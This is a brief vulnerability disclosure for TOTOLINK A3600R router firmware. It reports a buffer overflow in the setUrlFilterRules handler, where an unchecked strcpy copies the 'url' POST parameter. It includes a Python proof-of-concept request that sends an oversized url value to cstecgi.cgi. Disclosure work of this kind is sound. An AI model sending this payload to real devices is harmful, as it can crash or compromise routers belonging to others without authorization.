- Manufacturer's website information：https://www.totolink.net/
- Firmware download address ：https://www.totolink.cn/home/menu/detail.html?menu_listtpl=download&id=63&ids=36
A3600R V4.1.2cu.5182_B20201102
In the A3600R V4.1.2cu.5182_B20201102 firmware has a buffer overflow vulnerability in the setUrlFilterRules function. The v9 variable receives the url parameter from a POST request. However, since the user can control the input of url, the strcpy(v13, v9); can cause a buffer overflow vulnerability.
import requests
url = "http://127.0.0.1/cgi-bin/cstecgi.cgi"
cookie = {"Cookie":"SESSION_ID=2:1721039211:2"}
data = {"url":"a"*0x1000,"topicurl":"setUrlFilterRules"}
response = requests.post(url, cookies=cookie, json=data)
print(response.text)
print(response)